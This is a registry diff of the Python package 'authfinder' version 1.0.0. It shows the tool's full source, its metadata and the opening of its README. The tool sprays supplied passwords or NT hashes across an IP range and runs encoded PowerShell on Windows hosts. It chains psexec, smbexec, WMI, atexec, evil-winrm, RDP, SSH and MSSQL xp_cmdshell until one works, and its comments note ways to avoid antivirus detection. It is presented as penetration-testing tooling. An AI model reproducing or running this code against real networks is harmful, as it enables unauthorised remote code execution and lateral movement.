authfinder 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- authfinder/__init__.py +3 -0
- authfinder/authfinder.py +541 -0
- authfinder-1.0.0.dist-info/METADATA +134 -0
- authfinder-1.0.0.dist-info/RECORD +8 -0
- authfinder-1.0.0.dist-info/WHEEL +5 -0
- authfinder-1.0.0.dist-info/entry_points.txt +2 -0
- authfinder-1.0.0.dist-info/licenses/LICENSE +7 -0
- authfinder-1.0.0.dist-info/top_level.txt +1 -0
authfinder/__init__.py
ADDED
authfinder/authfinder.py
ADDED
|
@@ -0,0 +1,541 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
import subprocess
|
|
3
|
+
import os
|
|
4
|
+
import base64
|
|
5
|
+
import sys
|
|
6
|
+
import shlex
|
|
7
|
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
8
|
+
import threading
|
|
9
|
+
import argparse
|
|
10
|
+
import shutil
|
|
11
|
+
import socket
|
|
12
|
+
|
|
13
|
+
EXEC_TIMEOUT = 20
|
|
14
|
+
RDP_TIMEOUT = 45
|
|
15
|
+
MAX_THREADS = 10
|
|
16
|
+
|
|
17
|
+
VERBOSE = False
|
|
18
|
+
OUTPUT = False
|
|
19
|
+
RUN_ALL = False
|
|
20
|
+
SKIP_PORTSCAN = False
|
|
21
|
+
TOOLS_SPECIFIED = False
|
|
22
|
+
|
|
23
|
+
VALID_TOOLS = ["winrm", "smbexec", "wmi", "ssh", "mssql", "psexec", "atexec", "rdp"]
|
|
24
|
+
NXC_TOOLS = {"smbexec", "wmi", "ssh", "rdp"}
|
|
25
|
+
|
|
26
|
+
IMPACKET_PREFIX = "impacket-" # or "" for .py suffix
|
|
27
|
+
NXC_CMD = "nxc"
|
|
28
|
+
WINRM_CMD = "evil-winrm"
|
|
29
|
+
|
|
30
|
+
print_lock = threading.Lock()
|
|
31
|
+
|
|
32
|
+
def colorize(line):
|
|
33
|
+
line = line.replace("[-]", "\033[31m[-]\033[0m")
|
|
34
|
+
line = line.replace("[+]", "\033[32m[+]\033[0m")
|
|
35
|
+
return line
|
|
36
|
+
|
|
37
|
+
def vprint(msg):
|
|
38
|
+
if VERBOSE:
|
|
39
|
+
with print_lock:
|
|
40
|
+
print(colorize(msg))
|
|
41
|
+
|
|
42
|
+
def oprint(msg):
|
|
43
|
+
# don't want to duplicate output, so check if verbose is enabled
|
|
44
|
+
if OUTPUT and not VERBOSE:
|
|
45
|
+
with print_lock:
|
|
46
|
+
print(colorize(msg))
|
|
47
|
+
|
|
48
|
+
def safe_print(msg):
|
|
49
|
+
with print_lock:
|
|
50
|
+
print(colorize(msg))
|
|
51
|
+
|
|
52
|
+
def parse_ip_range(ip_range):
|
|
53
|
+
parts = ip_range.split('.')
|
|
54
|
+
if len(parts) != 4:
|
|
55
|
+
raise SystemExit("Invalid IP range format")
|
|
56
|
+
|
|
57
|
+
def expand(part):
|
|
58
|
+
vals = []
|
|
59
|
+
for section in part.split(','):
|
|
60
|
+
if '-' in section:
|
|
61
|
+
s, e = map(int, section.split('-'))
|
|
62
|
+
vals.extend(range(s, e + 1))
|
|
63
|
+
else:
|
|
64
|
+
vals.append(int(section))
|
|
65
|
+
return vals
|
|
66
|
+
|
|
67
|
+
expanded = [expand(p) for p in parts]
|
|
68
|
+
return [f"{a}.{b}.{c}.{d}"
|
|
69
|
+
for a in expanded[0]
|
|
70
|
+
for b in expanded[1]
|
|
71
|
+
for c in expanded[2]
|
|
72
|
+
for d in expanded[3]]
|
|
73
|
+
|
|
74
|
+
def is_nthash(credential):
|
|
75
|
+
cred = credential.lstrip(':').replace("'", "")
|
|
76
|
+
if len(cred) == 32:
|
|
77
|
+
try:
|
|
78
|
+
int(cred, 16)
|
|
79
|
+
return True
|
|
80
|
+
except ValueError:
|
|
81
|
+
return False
|
|
82
|
+
return False
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
def load_credential_file(path):
|
|
86
|
+
"""
|
|
87
|
+
Load credentials from file with newline-separated format:
|
|
88
|
+
<user1>
|
|
89
|
+
<user1_password>
|
|
90
|
+
<user2>
|
|
91
|
+
<user2_password>
|
|
92
|
+
...
|
|
93
|
+
|
|
94
|
+
Blank lines and lines starting with # are ignored.
|
|
95
|
+
For hashes, use the hash directly as the password line.
|
|
96
|
+
"""
|
|
97
|
+
try:
|
|
98
|
+
with open(path, "r", encoding="utf-8") as f:
|
|
99
|
+
lines = [line.rstrip("\n\r") for line in f]
|
|
100
|
+
except Exception as e:
|
|
101
|
+
print(f"Error: cannot read credential file '{path}': {e}")
|
|
102
|
+
sys.exit(1)
|
|
103
|
+
creds = []
|
|
104
|
+
|
|
105
|
+
filtered = []
|
|
106
|
+
for line in lines:
|
|
107
|
+
stripped = line.strip()
|
|
108
|
+
if stripped and not stripped.startswith("#"):
|
|
109
|
+
filtered.append(line)
|
|
110
|
+
|
|
111
|
+
if len(filtered) % 2 != 0:
|
|
112
|
+
raise SystemExit(f"Credential file has odd number of lines ({len(filtered)}). Expected pairs of user/password.")
|
|
113
|
+
|
|
114
|
+
for i in range(0, len(filtered), 2):
|
|
115
|
+
user = filtered[i].strip()
|
|
116
|
+
cred = filtered[i + 1]
|
|
117
|
+
creds.append((user, cred))
|
|
118
|
+
|
|
119
|
+
return creds
|
|
120
|
+
|
|
121
|
+
def normalize_tool_name(name):
|
|
122
|
+
"""Normalize tool name aliases to canonical form."""
|
|
123
|
+
name = name.lower().strip()
|
|
124
|
+
if name in ("evilwinrm", "evil-winrm"):
|
|
125
|
+
return "winrm"
|
|
126
|
+
return name
|
|
127
|
+
|
|
128
|
+
|
|
129
|
+
def parse_tools_list(tools_str):
|
|
130
|
+
"""Parse comma-separated list of tools, validating each one."""
|
|
131
|
+
tools = []
|
|
132
|
+
for t in tools_str.split(','):
|
|
133
|
+
normalized = normalize_tool_name(t)
|
|
134
|
+
if normalized not in VALID_TOOLS:
|
|
135
|
+
print(f"Error: Invalid tool '{t}'. Valid options: {', '.join(VALID_TOOLS)}")
|
|
136
|
+
sys.exit(1)
|
|
137
|
+
if normalized not in tools:
|
|
138
|
+
tools.append(normalized)
|
|
139
|
+
return tools
|
|
140
|
+
|
|
141
|
+
def check_port(ip, port, timeout=1):
|
|
142
|
+
"""Check if a port is open on the given IP."""
|
|
143
|
+
try:
|
|
144
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
145
|
+
sock.settimeout(timeout)
|
|
146
|
+
result = sock.connect_ex((ip, port))
|
|
147
|
+
sock.close()
|
|
148
|
+
return result == 0
|
|
149
|
+
except:
|
|
150
|
+
return False
|
|
151
|
+
|
|
152
|
+
def scan_ports_for_tools(ip, tool_list):
|
|
153
|
+
"""
|
|
154
|
+
Scan ports for given tools and return viable tools.
|
|
155
|
+
For winrm, checks port 5985 for winrm and 5986 for winrm-ssl.
|
|
156
|
+
Returns tuple of (viable_tools, open_ports)
|
|
157
|
+
"""
|
|
158
|
+
viable_tools = []
|
|
159
|
+
open_ports = []
|
|
160
|
+
|
|
161
|
+
TOOL_PORTS = {"psexec": 445, "smbexec": 445, "atexec": 445, "wmi": 135, "rdp": 3389, "mssql": 1433, "ssh": 22, "winrm": 5985,"winrm-ssl": 5986}
|
|
162
|
+
|
|
163
|
+
tools_to_check = tool_list if tool_list else VALID_TOOLS
|
|
164
|
+
|
|
165
|
+
for tool in tools_to_check:
|
|
166
|
+
# Check both winrm ports
|
|
167
|
+
if tool == "winrm":
|
|
168
|
+
if check_port(ip, 5985):
|
|
169
|
+
viable_tools.append("winrm")
|
|
170
|
+
if 5985 not in open_ports:
|
|
171
|
+
open_ports.append(5985)
|
|
172
|
+
if check_port(ip, 5986):
|
|
173
|
+
viable_tools.append("winrm-ssl")
|
|
174
|
+
if 5986 not in open_ports:
|
|
175
|
+
open_ports.append(5986)
|
|
176
|
+
elif tool in TOOL_PORTS:
|
|
177
|
+
port = TOOL_PORTS[tool]
|
|
178
|
+
if check_port(ip, port):
|
|
179
|
+
viable_tools.append(tool)
|
|
180
|
+
if port not in open_ports:
|
|
181
|
+
open_ports.append(port)
|
|
182
|
+
|
|
183
|
+
return viable_tools, open_ports
|
|
184
|
+
|
|
185
|
+
def build_cmd(tool, user, target, credential, command):
|
|
186
|
+
b64 = base64.b64encode(command.encode("utf-16le")).decode()
|
|
187
|
+
use_hash = is_nthash(credential)
|
|
188
|
+
hash_val = credential.lstrip(':')
|
|
189
|
+
|
|
190
|
+
# For nxc tools, add --no-output unless -o was passed
|
|
191
|
+
nxc_output_flag = "" if OUTPUT else " --no-output"
|
|
192
|
+
|
|
193
|
+
# Impacket tools
|
|
194
|
+
if tool == "psexec":
|
|
195
|
+
cmd = impacket_cmd("psexec")
|
|
196
|
+
return (f"{cmd} -hashes :{hash_val} \"{user}\"@{target} 'powershell -enc {b64}'"
|
|
197
|
+
if use_hash else
|
|
198
|
+
f"{cmd} \"{user}\":{credential}@{target} 'powershell -enc {b64}'")
|
|
199
|
+
|
|
200
|
+
if tool == "mssql":
|
|
201
|
+
cmd = impacket_cmd("mssqlclient")
|
|
202
|
+
return (f"{cmd} -hashes :{hash_val} \"{user}\"@{target} -windows-auth -command 'enable_xp_cmdshell' -command 'xp_cmdshell powershell -enc {b64}'"
|
|
203
|
+
if use_hash else
|
|
204
|
+
f"{cmd} \"{user}\":{credential}@{target} -windows-auth -command 'enable_xp_cmdshell' -command 'xp_cmdshell powershell -enc {b64}'")
|
|
205
|
+
|
|
206
|
+
if tool == "atexec":
|
|
207
|
+
cmd = impacket_cmd("atexec")
|
|
208
|
+
return (f"{cmd} -hashes :{hash_val} \"{user}\"@{target} 'powershell -enc {b64}'"
|
|
209
|
+
if use_hash else
|
|
210
|
+
f"{cmd} \"{user}\":{credential}@{target} 'powershell -enc {b64}'")
|
|
211
|
+
|
|
212
|
+
# winrm handling - both regular and SSL variants
|
|
213
|
+
# yes I know nxc has a winrm module which can oneshot commands, but evil-winrm has proved itself more dependable
|
|
214
|
+
if tool == "winrm":
|
|
215
|
+
return (f"echo 'powershell -enc {b64}' | {WINRM_CMD} -i {target} -u \"{user}\" -H {hash_val}"
|
|
216
|
+
if use_hash else
|
|
217
|
+
f"echo 'powershell -enc {b64}' | {WINRM_CMD} -i {target} -u \"{user}\" -p {credential}")
|
|
218
|
+
|
|
219
|
+
if tool == "winrm-ssl":
|
|
220
|
+
return (f"echo 'powershell -enc {b64}' | {WINRM_CMD} -i {target} -u \"{user}\" -H {hash_val} --ssl"
|
|
221
|
+
if use_hash else
|
|
222
|
+
f"echo 'powershell -enc {b64}' | {WINRM_CMD} -i {target} -u \"{user}\" -p {credential} --ssl")
|
|
223
|
+
|
|
224
|
+
# NXC tools
|
|
225
|
+
if tool == "smbexec":
|
|
226
|
+
return (f"{NXC_CMD} smb {target} -H {hash_val} -u \"{user}\" -X 'powershell -enc {b64}' --exec-method smbexec{nxc_output_flag}"
|
|
227
|
+
if use_hash else
|
|
228
|
+
f"{NXC_CMD} smb {target} -p {credential} -u \"{user}\" -X 'powershell -enc {b64}' --exec-method smbexec{nxc_output_flag}")
|
|
229
|
+
|
|
230
|
+
if tool == "wmi":
|
|
231
|
+
# we don't actually need to pass the --no-output here, as defender won't catch it regardless it seems
|
|
232
|
+
# additionally, adding --no-output makes it very difficult to differentiate between command execution and a successful authentication w/o execution
|
|
233
|
+
return (f"{NXC_CMD} wmi {target} -H {hash_val} -u \"{user}\" -x 'powershell -enc {b64}'"
|
|
234
|
+
if use_hash else
|
|
235
|
+
f"{NXC_CMD} wmi {target} -p {credential} -u \"{user}\" -x 'powershell -enc {b64}'")
|
|
236
|
+
|
|
237
|
+
if tool == "ssh":
|
|
238
|
+
return f"{NXC_CMD} ssh {target} -p {credential} -u \"{user}\" -x 'powershell -enc {b64}'{nxc_output_flag}"
|
|
239
|
+
|
|
240
|
+
if tool == "rdp":
|
|
241
|
+
return (f"{NXC_CMD} rdp {target} -u \"{user}\" -H {hash_val} -X 'powershell -enc {b64}'{nxc_output_flag}"
|
|
242
|
+
if use_hash else
|
|
243
|
+
f"{NXC_CMD} rdp {target} -u \"{user}\" -p {credential} -X 'powershell -enc {b64}'{nxc_output_flag}")
|
|
244
|
+
|
|
245
|
+
raise Exception(f"Unknown tool: {tool}")
|
|
246
|
+
|
|
247
|
+
def run_chain(user, ip, credential, command, tool_list=None):
|
|
248
|
+
chain = tool_list if tool_list else VALID_TOOLS
|
|
249
|
+
|
|
250
|
+
# test both winrm types
|
|
251
|
+
if TOOLS_SPECIFIED:
|
|
252
|
+
expanded_chain = []
|
|
253
|
+
for tool in chain:
|
|
254
|
+
if tool == "winrm":
|
|
255
|
+
expanded_chain.extend(["winrm", "winrm-ssl"])
|
|
256
|
+
elif tool not in expanded_chain: # Avoid duplicates
|
|
257
|
+
expanded_chain.append(tool)
|
|
258
|
+
chain = expanded_chain
|
|
259
|
+
|
|
260
|
+
for tool in chain:
|
|
261
|
+
# Can't pass the hash with SSH
|
|
262
|
+
if tool == "ssh" and is_nthash(credential):
|
|
263
|
+
safe_print(f" [-] Skipping SSH for {ip}: cannot pass the hash.")
|
|
264
|
+
continue
|
|
265
|
+
|
|
266
|
+
if tool == "rdp" and NXC_CMD == "crackmapexec":
|
|
267
|
+
safe_print(f" [-] Skipping RDP for {ip}: crackmapexec does not support running commands via RDP.")
|
|
268
|
+
continue
|
|
269
|
+
|
|
270
|
+
if tool == "mssql":
|
|
271
|
+
safe_print(f"[*] Attempting to enable xp_cmdshell on {ip}...")
|
|
272
|
+
|
|
273
|
+
cmd = build_cmd(tool, user, ip, credential, command)
|
|
274
|
+
safe_print(f"[*] Trying {tool}: {cmd}")
|
|
275
|
+
|
|
276
|
+
try:
|
|
277
|
+
timeout = RDP_TIMEOUT if tool == "rdp" else EXEC_TIMEOUT
|
|
278
|
+
result = subprocess.run(cmd, shell=True, timeout=timeout, capture_output=True)
|
|
279
|
+
rc = result.returncode
|
|
280
|
+
out = result.stdout.decode("utf-8", errors="ignore")
|
|
281
|
+
vprint(f"[v] Output for {tool} on {ip} (rc={rc}):")
|
|
282
|
+
if not out or out == '':
|
|
283
|
+
vprint(f"(no output)")
|
|
284
|
+
else:
|
|
285
|
+
vprint(out)
|
|
286
|
+
|
|
287
|
+
except subprocess.TimeoutExpired:
|
|
288
|
+
safe_print(f" [-] For {ip}: {tool} timed out.")
|
|
289
|
+
continue
|
|
290
|
+
|
|
291
|
+
# psexec can have "[-]" in stdout if some shares are writeable and others aren't
|
|
292
|
+
if tool == "psexec":
|
|
293
|
+
if "Found writable share" in out:
|
|
294
|
+
if "Stopping service" in out:
|
|
295
|
+
# psexec succeeded and exited (sometimes with rc 1!)
|
|
296
|
+
if RUN_ALL:
|
|
297
|
+
# need to run all tools, even if we succeeded
|
|
298
|
+
safe_print(f" [+] Success! With command: {cmd}")
|
|
299
|
+
oprint(out)
|
|
300
|
+
continue
|
|
301
|
+
return (tool, out, cmd)
|
|
302
|
+
else:
|
|
303
|
+
# if "Stopping service" not detected, AV likely caught binary, so it hangs
|
|
304
|
+
safe_print(f" [-] For {ip}: {tool} auth succeeded, but timed out likely due to AV.")
|
|
305
|
+
continue
|
|
306
|
+
else:
|
|
307
|
+
# made it through psexec, but no writeable shares found (will return rc 0)
|
|
308
|
+
safe_print(f" [-] For {ip}: {tool} failed.")
|
|
309
|
+
continue
|
|
310
|
+
|
|
311
|
+
if tool == "rdp":
|
|
312
|
+
if "[-] Clipboard" in out:
|
|
313
|
+
safe_print(f" \033[33m[!]\033[0m For {ip}: {tool} succeeded as {user} with {credential}, but failed to initialize clipboard and run command. Try manually using RDP.")
|
|
314
|
+
continue
|
|
315
|
+
elif "unrecognized arguments" in out:
|
|
316
|
+
safe_print(f" [-] For {ip}: {tool} failed. NetExec is out of date; 'nxc rdp' doesn't support '-X'. Please reinstall netexec to use RDP.")
|
|
317
|
+
continue
|
|
318
|
+
elif "[-]" in out:
|
|
319
|
+
safe_print(f" [-] For {ip}: {tool} failed.")
|
|
320
|
+
continue
|
|
321
|
+
|
|
322
|
+
if tool in NXC_TOOLS or tool == "atexec":
|
|
323
|
+
if '[-]' in out:
|
|
324
|
+
if "Could not retrieve" in out:
|
|
325
|
+
safe_print(f" \033[33m[!]\033[0m For {ip}: {tool} AUTHENTICATION succeeded as {user} with {credential}, but likely failed to run command. Try running without -o to avoid tripping AV.")
|
|
326
|
+
# nxc will return 0 if the tool succeeded but auth failed
|
|
327
|
+
else:
|
|
328
|
+
safe_print(f" [-] For {ip}: {tool} failed.")
|
|
329
|
+
continue
|
|
330
|
+
if '[+]' in out and 'Executed command' not in out:
|
|
331
|
+
safe_print(f" \033[33m[!]\033[0m For {ip}: {tool} AUTHENTICATION succeeded as {user} with {credential}, but seemingly failed to run command. Does the user have the necessary permissions?")
|
|
332
|
+
continue
|
|
333
|
+
if rc == 0 and out == "":
|
|
334
|
+
# nxc tools will sometimes just fail silently
|
|
335
|
+
safe_print(f" [-] For {ip}: {tool} failed.")
|
|
336
|
+
continue
|
|
337
|
+
|
|
338
|
+
if tool == "mssql" and "ERROR" in out:
|
|
339
|
+
safe_print(f" [-] For {ip}: {tool} failed.")
|
|
340
|
+
continue
|
|
341
|
+
|
|
342
|
+
# one-shotting using evil-winrm results in a return code of 1
|
|
343
|
+
if rc == 0 or (tool in ("winrm", "winrm-ssl") and rc == 1 and "NoMethodError" in out):
|
|
344
|
+
if RUN_ALL:
|
|
345
|
+
# need to run all tools, even if we succeeded
|
|
346
|
+
safe_print(f" [+] Success! With command: {cmd}")
|
|
347
|
+
oprint(out)
|
|
348
|
+
continue
|
|
349
|
+
return (tool, out, cmd)
|
|
350
|
+
|
|
351
|
+
safe_print(f" [-] For {ip}: {tool} failed.")
|
|
352
|
+
|
|
353
|
+
return None
|
|
354
|
+
|
|
355
|
+
def execute_on_ip(username, ip, credential, command, tool_list=None):
|
|
356
|
+
|
|
357
|
+
if SKIP_PORTSCAN:
|
|
358
|
+
safe_print(f"[*] Skipping portscan for {ip} (--skip-portscan enabled)")
|
|
359
|
+
viable_tools = tool_list if tool_list else VALID_TOOLS
|
|
360
|
+
else:
|
|
361
|
+
safe_print(f"[*] Checking applicable tools for {ip} via portscan")
|
|
362
|
+
viable_tools, open_ports = scan_ports_for_tools(ip, tool_list)
|
|
363
|
+
|
|
364
|
+
if VERBOSE:
|
|
365
|
+
vprint(f"[v] Open ports for {ip}: {sorted(open_ports)}")
|
|
366
|
+
|
|
367
|
+
if not viable_tools:
|
|
368
|
+
safe_print(f"[-] No required ports open for {ip}. Either it's not up, or the target is firewalled. If you want to try anyway, use --skip-portscan.")
|
|
369
|
+
return (ip, None)
|
|
370
|
+
|
|
371
|
+
display_tools = ["winrm" if t == "winrm-ssl" else t for t in viable_tools]
|
|
372
|
+
display_tools = list(dict.fromkeys(display_tools))
|
|
373
|
+
safe_print(f" \033[34m[i]\033[0m Viable tools found for {ip} based on portscan: {', '.join(display_tools)}")
|
|
374
|
+
|
|
375
|
+
result = run_chain(username, ip, credential, command, viable_tools)
|
|
376
|
+
|
|
377
|
+
if RUN_ALL:
|
|
378
|
+
safe_print(f"[*] All tools successfully run for {ip} with {username}.")
|
|
379
|
+
return (ip, None)
|
|
380
|
+
|
|
381
|
+
if result is None:
|
|
382
|
+
safe_print(f"[-] All tools failed for {ip} with {username}.")
|
|
383
|
+
return (ip, None)
|
|
384
|
+
|
|
385
|
+
tool, out, cmd = result
|
|
386
|
+
safe_print(f" [+] Success! With command: {cmd}")
|
|
387
|
+
if tool == "mssql":
|
|
388
|
+
safe_print(f"\033[33m[!] WARNING: MSSQL used for command execution; xp_cmdshell is currently enabled on {ip}. \033[0m")
|
|
389
|
+
oprint(out)
|
|
390
|
+
if not RUN_ALL:
|
|
391
|
+
return (ip, tool)
|
|
392
|
+
|
|
393
|
+
def parse_args():
|
|
394
|
+
parser = argparse.ArgumentParser(
|
|
395
|
+
description="Execute commands across an IP range using multiple Windows RCE methods",
|
|
396
|
+
formatter_class=argparse.RawTextHelpFormatter,
|
|
397
|
+
usage="%(prog)s ip_range username credential command [-h] [-v] [-o] [--threads NUM_THREADS] [--timeout TIMEOUT_SECONDS] [--tools LIST] [--run-all] [--skip-portscan] [-f CRED_FILE]"
|
|
398
|
+
)
|
|
399
|
+
|
|
400
|
+
parser.add_argument("-v", action="store_true", help="Verbose output")
|
|
401
|
+
parser.add_argument("-o", action="store_true", help="Show successful command output")
|
|
402
|
+
parser.add_argument("--threads", metavar="NUM_THREADS", type=int, default=10, help="Number of concurrent threads")
|
|
403
|
+
parser.add_argument("--timeout", metavar="TIMEOUT_SECONDS", type=int, default=15, help="Number of seconds before commands timeout")
|
|
404
|
+
parser.add_argument("--tools", metavar="LIST", help="Comma-separated list of tools to try")
|
|
405
|
+
parser.add_argument("--run-all", action="store_true", help="Run all tools, often running the desired command multiple times")
|
|
406
|
+
parser.add_argument("--skip-portscan", action="store_true", help="Skip port scanning and attempt all tools")
|
|
407
|
+
parser.add_argument("-f", "--file", metavar="CRED_FILE", help="Credential file (newline-separated user/password pairs)")
|
|
408
|
+
|
|
409
|
+
parser.add_argument("ip_range", help="IP range (e.g., 192.168.1.1-254)")
|
|
410
|
+
parser.add_argument("username", nargs="?", help="Username")
|
|
411
|
+
parser.add_argument("credential", nargs="?", help="Password or NT hash")
|
|
412
|
+
parser.add_argument("command", nargs="*", help="Command to run (default: whoami)")
|
|
413
|
+
|
|
414
|
+
args = parser.parse_args()
|
|
415
|
+
|
|
416
|
+
if args.file and (args.username or args.credential):
|
|
417
|
+
parser.error("Cannot specify username/password when using -f")
|
|
418
|
+
|
|
419
|
+
if not args.file and (not args.username or not args.credential):
|
|
420
|
+
parser.error("Must supply either -f FILE or username + credential")
|
|
421
|
+
|
|
422
|
+
return args
|
|
423
|
+
|
|
424
|
+
|
|
425
|
+
|
|
426
|
+
def check_dependencies():
|
|
427
|
+
"""Check if required tools are installed."""
|
|
428
|
+
global IMPACKET_PREFIX, NXC_CMD, WINRM_CMD
|
|
429
|
+
|
|
430
|
+
# Check impacket (either impacket-psexec or psexec.py)
|
|
431
|
+
r1 = shutil.which("impacket-psexec")
|
|
432
|
+
r2 = shutil.which("psexec.py")
|
|
433
|
+
if r1:
|
|
434
|
+
IMPACKET_PREFIX = "impacket-"
|
|
435
|
+
elif r2:
|
|
436
|
+
IMPACKET_PREFIX = ""
|
|
437
|
+
else:
|
|
438
|
+
print("[-] impacket not found. Install with: pipx install impacket")
|
|
439
|
+
sys.exit(1)
|
|
440
|
+
|
|
441
|
+
# Check nxc/crackmapexec
|
|
442
|
+
r1 = shutil.which("nxc")
|
|
443
|
+
r2 = shutil.which("netexec")
|
|
444
|
+
r3 = shutil.which("crackmapexec")
|
|
445
|
+
if r1:
|
|
446
|
+
NXC_CMD = "nxc"
|
|
447
|
+
elif r2:
|
|
448
|
+
NXC_CMD = "netexec"
|
|
449
|
+
elif r3:
|
|
450
|
+
NXC_CMD = "crackmapexec"
|
|
451
|
+
else:
|
|
452
|
+
print("[-] netexec not found. Install with: pipx install git+https://github.com/Pennyw0rth/NetExec")
|
|
453
|
+
sys.exit(1)
|
|
454
|
+
|
|
455
|
+
# Check evil-winrm
|
|
456
|
+
if shutil.which("evil-winrm"):
|
|
457
|
+
WINRM_CMD = "evil-winrm"
|
|
458
|
+
else:
|
|
459
|
+
# default in exegol
|
|
460
|
+
base = "/usr/local/rvm/gems"
|
|
461
|
+
for d in os.listdir(base):
|
|
462
|
+
if d.endswith("@evil-winrm"):
|
|
463
|
+
WINRM_CMD = f"{base}/{d}/wrappers/evil-winrm"
|
|
464
|
+
if not WINRM_CMD:
|
|
465
|
+
print("[-] evil-winrm not found. Please install with gem install evil-winrm")
|
|
466
|
+
sys.exit(1)
|
|
467
|
+
|
|
468
|
+
def impacket_cmd(tool):
|
|
469
|
+
"""Return the correct impacket command name based on install type."""
|
|
470
|
+
if IMPACKET_PREFIX:
|
|
471
|
+
return f"impacket-{tool}"
|
|
472
|
+
return f"{tool}.py"
|
|
473
|
+
|
|
474
|
+
def main():
|
|
475
|
+
global VERBOSE, OUTPUT, MAX_THREADS, EXEC_TIMEOUT, RUN_ALL, SKIP_PORTSCAN, TOOLS_SPECIFIED
|
|
476
|
+
|
|
477
|
+
check_dependencies()
|
|
478
|
+
|
|
479
|
+
args = parse_args()
|
|
480
|
+
|
|
481
|
+
VERBOSE = args.v
|
|
482
|
+
OUTPUT = args.o
|
|
483
|
+
MAX_THREADS = args.threads
|
|
484
|
+
EXEC_TIMEOUT = args.timeout
|
|
485
|
+
RUN_ALL = args.run_all
|
|
486
|
+
SKIP_PORTSCAN = args.skip_portscan
|
|
487
|
+
|
|
488
|
+
if args.tools:
|
|
489
|
+
tool_list = parse_tools_list(args.tools)
|
|
490
|
+
TOOLS_SPECIFIED = True
|
|
491
|
+
print(f"[*] Using tools: {', '.join(tool_list)}")
|
|
492
|
+
else:
|
|
493
|
+
tool_list = None
|
|
494
|
+
|
|
495
|
+
if args.skip_portscan:
|
|
496
|
+
print("\033[33m[!] Port scanning disabled (--skip-portscan). All tools will be attempted.\033[0m")
|
|
497
|
+
|
|
498
|
+
command = " ".join(args.command) if args.command else "whoami"
|
|
499
|
+
|
|
500
|
+
if args.file:
|
|
501
|
+
credential_list = load_credential_file(args.file)
|
|
502
|
+
else:
|
|
503
|
+
credential_list = [(args.username, args.credential)]
|
|
504
|
+
|
|
505
|
+
if args.ip_range.endswith('.txt'):
|
|
506
|
+
ips = []
|
|
507
|
+
with open(args.ip_range) as f:
|
|
508
|
+
for line in f:
|
|
509
|
+
line = line.strip()
|
|
510
|
+
if line and not line.startswith('#'):
|
|
511
|
+
ips.extend(parse_ip_range(line))
|
|
512
|
+
else:
|
|
513
|
+
ips = parse_ip_range(args.ip_range)
|
|
514
|
+
|
|
515
|
+
print(f"[*] Loaded {len(credential_list)} credential set(s)")
|
|
516
|
+
print(f"[*] Processing {len(ips)} IPs with {MAX_THREADS} threads...")
|
|
517
|
+
|
|
518
|
+
if not OUTPUT:
|
|
519
|
+
print("\033[33m[!] Output Disabled. Run with -o to see successful command output\033[0m")
|
|
520
|
+
else:
|
|
521
|
+
print("-" * 20)
|
|
522
|
+
print("\033[33m[!] WARNING: Output Enabled. This WILL trip AV for certain tools\033[0m")
|
|
523
|
+
print("-" * 20)
|
|
524
|
+
|
|
525
|
+
futures = []
|
|
526
|
+
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
|
|
527
|
+
for ip in ips:
|
|
528
|
+
for (user, cred) in credential_list:
|
|
529
|
+
cred = shlex.quote(cred)
|
|
530
|
+
futures.append(
|
|
531
|
+
executor.submit(execute_on_ip, user, ip, cred, command, tool_list)
|
|
532
|
+
)
|
|
533
|
+
|
|
534
|
+
for future in as_completed(futures):
|
|
535
|
+
try:
|
|
536
|
+
future.result()
|
|
537
|
+
except Exception as e:
|
|
538
|
+
safe_print(f"[!] Exception: {e}")
|
|
539
|
+
|
|
540
|
+
if __name__ == "__main__":
|
|
541
|
+
main()
|
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: authfinder
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Execute commands across Windows systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
|
|
5
|
+
Author: Khael
|
|
6
|
+
Project-URL: Homepage, https://github.com/KhaelK138/authfinder
|
|
7
|
+
Project-URL: Repository, https://github.com/KhaelK138/authfinder
|
|
8
|
+
Project-URL: Issues, https://github.com/KhaelK138/authfinder/issues
|
|
9
|
+
Keywords: security,pentest,windows,remote-execution,winrm,smb,wmi,rdp
|
|
10
|
+
Classifier: Development Status :: 4 - Beta
|
|
11
|
+
Classifier: Intended Audience :: Information Technology
|
|
12
|
+
Classifier: Intended Audience :: System Administrators
|
|
13
|
+
Classifier: Programming Language :: Python :: 3
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
19
|
+
Classifier: Topic :: Security
|
|
20
|
+
Classifier: Topic :: System :: Systems Administration
|
|
21
|
+
Requires-Python: >=3.8
|
|
22
|
+
Description-Content-Type: text/markdown
|
|
23
|
+
License-File: LICENSE
|
|
24
|
+
Provides-Extra: dev
|
|
25
|
+
Requires-Dist: build; extra == "dev"
|
|
26
|
+
Requires-Dist: twine; extra == "dev"
|
|
27
|
+
Dynamic: license-file
|
|
28
|
+
|
|
29
|
+
# AuthFinder
|
|
30
|
+
|
|
31
|
+
A tool for executing commands across multiple Windows systems using various remote execution methods. Automatically tries multiple techniques until one succeeds, based on return codes and output. Makes executing commands given credentials a hell of a lot easier.
|
|
32
|
+
|
|
33
|
+
Big thanks to NetExec, Impacket, and Evil-Winrm, as this tool just essentially acts as a wrapper around those (making it more of a script, I suppose).
|
|
34
|
+
|
|
35
|
+
## Features
|
|
36
|
+
|
|
37
|
+
- **Multiple RCE Methods**: Automatically tries various Windows remote execution techniques:
|
|
38
|
+
- WinRM (HTTP/HTTPS)
|
|
39
|
+
- PSExec (Impacket)
|
|
40
|
+
- SMBExec (NetExec)
|
|
41
|
+
- WMI (NetExec)
|
|
42
|
+
- AtExec (Impacket)
|
|
43
|
+
- RDP (NetExec)
|
|
44
|
+
- SSH (NetExec)
|
|
45
|
+
- MSSQL (Impacket)
|
|
46
|
+
- **Multi-threaded**: Execute commands across multiple hosts simultaneously
|
|
47
|
+
